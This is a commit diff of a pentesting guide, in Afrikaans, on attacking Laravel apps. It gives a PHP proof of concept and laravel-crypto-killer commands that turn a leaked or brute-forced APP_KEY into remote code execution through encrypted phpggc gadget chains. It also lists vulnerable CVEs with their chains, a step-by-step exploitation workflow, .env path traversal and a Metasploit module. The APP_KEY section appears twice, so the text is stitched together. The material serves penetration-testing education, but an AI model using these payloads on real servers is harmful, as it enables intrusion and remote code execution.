Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-07-10 12:38:52 +00:00
parent 2954a5248f
commit 05cb650dbe

View File

@ -1,28 +1,113 @@
# Laravel
{{#include /banners/hacktricks-training.md}}
### Laravel SQLInjection
Lees inligting hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Enkripsie interne (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`).
Die rou koderings teks wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
Minimale PoC (raamwerk ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
---
## Werklike wêreld kwesbare patrone
| Projek | Kwesbare sink | Gadget ketting |
|--------|----------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` koekie | Laravel/RCE15 |
Die uitbuiting werkvloei is altyd:
1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
2. Genereer gadget met **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
---
## Massiewe APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene teksblokke** wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
* >1 000 bedieners steeds kwesbaar vir erflike CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
* Groot sleutel hergebruik die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word.
Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat volle dataset kraking tot <2 minute verminder.
---
## Verwysings
* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}
## Laravel Tricks
### Debugging mode
### Foutopsporing modus
As Laravel in **debugging mode** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
As Laravel in **foutopsporing modus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
Byvoorbeeld `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Dit is gewoonlik nodig vir die ontginning van ander Laravel RCE CVEs.
Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.
### .env
Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te enkripteer binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversals onder: `/../.env`
Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env`
Laravel sal ook hierdie inligting binne die foutbladsy vertoon (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
Laravel sal ook hierdie inligting binne die foutopsporing bladsy toon (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
Deur die geheime APP_KEY van Laravel te gebruik, kan jy koekies dekripteer en weer enkripteer:
Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:
### Decrypt Cookie
### Ontsleutel Koekie
```python
import os
import json
@ -87,8 +172,8 @@ Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 ([https://www.cvedetails.com/cv
Hier kan jy inligting oor die deserialisering kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Jy kan dit toets en benut met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize_exec`
Jy kan dit toets en ontgin met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Of jy kan dit ook ontgin met metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -99,4 +184,87 @@ Nog 'n deserialisering: [https://github.com/ambionics/laravel-exploits](https://
Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryptie interne (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`).
Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
Minimale PoC (raamwerk ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
---
## Werklike wêreld kwesbare patrone
| Projek | Kwesbare sink | Gadget ketting |
|--------|----------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` koekie | Laravel/RCE15 |
Die uitbuiting werkstroom is altyd:
1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
2. Genereer gadget met **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
---
## Massiewe APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts** wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
* Groot sleutel hergebruik die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset krak tot <2 minute verminder.
---
## Verwysings
* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}